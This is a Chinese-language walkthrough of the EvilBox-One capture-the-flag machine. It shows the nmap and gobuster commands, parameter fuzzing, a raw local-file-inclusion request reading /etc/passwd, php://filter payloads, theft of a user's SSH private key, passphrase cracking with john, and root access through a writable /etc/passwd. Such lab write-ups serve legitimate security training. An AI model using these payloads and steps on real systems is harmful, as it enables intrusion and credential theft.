EvilBox---One

主机发现

image.png
目标 主机 : 192.168.145.134
attack 主机 :192.168.145.130

常规扫描

nmap -sV -O -p 1-65535 192.168.145.134

image.png
存在 22 端口 和 80 端口
系统是 Debian linux 4.15 - 5.6 版本

访问 80 端口
image.png
没有部署什么环境,存apache2 环境
目录扫描一下
发现了 四个目录
image.png
rebots.txt目录 看看
image.png
没有啥可用信息 ,
再查看secret目录下
image.png
也不存在 可用信息 ,再次爆破一下 secret 目录下存在啥信息没 (换个字典 换个工具 )

Gobuster

image.png
还是可以扫描dns 的一个工具
现在针对 secret 这个目录 进行扫描探测

gobuster dir -u http://192.168.145.134/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

扫描出前面没有 探测出的一个文件 evil.php 文件 (看着就不像好文件 ,和eval 长的像)
image.png
访问一下 看看
image.png
这个文件还是空白 。。。 到目前为止没有发现其他文件了
既然这个文件长的这么想后门 ,尝试爆破一下文件参数

ffuf 模糊测试 测试参数

使用burp 去测试先
image.png
添加两个payload 参数和路径
image.png

image.png

经过一段时间的爆破
终于爆破出来了
image.png
期间还使用了 ffuf 工具 但是没有爆破出来 可能是字典的原因吧
image.png

本地文件包含

现在去查看

1
2
3
4
5
6
7
8
9
10
GET /secret/evil.php?command=%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.145.134
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

/secret/evil.php?command=%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Fetc%2Fpasswd

可以看出来是文件包含漏洞了
不使用url编码就可以是这样了
image.png
看看是否存在远程文件包含
先写一句话
image.png
本地启动 apache2 服务

systemctl restart apache2

测试一句话
image.png
去测试 靶机是否存在远程文件包含
image.png
不会显 ,看来是不存在远程文件包含了

php 伪协议

?command=php://filter/convert.base64-encode/resource=evil.php

使用php://filter 读取文件
这里先读取 evil.php 文件
image.png
给base64 解码
image.png
看来是直接把传入的值 , 去包含 读取了
尝试是否可以写入文件 ,

php://filter/write=convert.base64-decode/resource=shell.php&txt=MTIzNDUK

image.png
不知道是否成功 ,去读取一下 ,写入进去一般是存在于当前目录下或者根目录下

image.png
image.png
都是不存在的,看来是没有写入权限了
思路有没了 ,

SSH 私钥登录

开放了22 端口
存在ssh 登录的
文件包含一下 /etc/passwd
image.png
存在 mowree 普通用户
查看一下这个目录下包含ssh的文件吗?

.ssh文件夹

image.png
是包含ssh 的 公钥私钥 授权文件的地方

command=../../../../home/mowree/.ssh/authorized_keys

image.png
可以看出授权了mowree用户登录
再查看id_rsa 和 id_rsa.pub
image.png
image.png
公钥查看不了 ,
但是有私钥就够了 ,有私钥就可以完成登录了
在本地创建一个id_rsa 的文件
image.png
文件内容是刚才获取到的 id_rsa
利用私钥 连接ssh
image.png
额 这
需要 passphrase 的密码文 ,
作者在生成私钥的时候 又给私钥加了一个密码

passphrase 密码破解

使用暴力破解就需要一个大一点的字典
image.png
使用这个字典去破解
可以使用 hashcat 或者 john工具进行破解

john

使用这个工具 ,因为需要把id_rsa 转换暴力破解的格式
这个 john 刚好有对应的转换脚本
image.png
转换好了 使用 John 开始爆破

john hash –wordlist=rockyou.txt

image.png
爆破出来了还是很快的
进行登录
image.png
成功登录
7627c0cb-166e-4972-8ff3-688eecc376cf.png

提权

crontab -l 计划任务

image.png

sudo -l

image.png
这两个常用的方法都是没有的
还有查看内核版本了

uname -a

image.png
版本是 4.19.0-17-amd64

searchsploit 4.19

image.png
尝试一下 ,符合版本但是不知道是否成功提权
image.png
下载到目标机
image.png
好像没有用 ,
那就再次查找是否存在可写入的文件

find / -writable 2>/dev/null

image.png
文件太多了 ,很多系统文件
像 sys /proc 这些就没有必要看了

find / -writable 2>/dev/null | grep -v sys | grep -v proc

image.png
除了自己用户,然后就是 dev 下 的文件
居然存在一个/etc/passwd 文件
image.png
对passwd 文件每行的一个解释

注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序

第二个都是x x 又是口令(密码)
我们可以添加一个密码 ,然后/etc/shadow 这个文件里面 修改的某某用户的密码就不管用了

生成passwd

可以使用openssl 生成 密码

openssl passwd -1

image.png
把生成的密码添加到/etc/passwd 里面去

$1$.Az4zpRm$OuKDJE1cRDaOxDEfvlkGX1

image.png

成功提权

image.png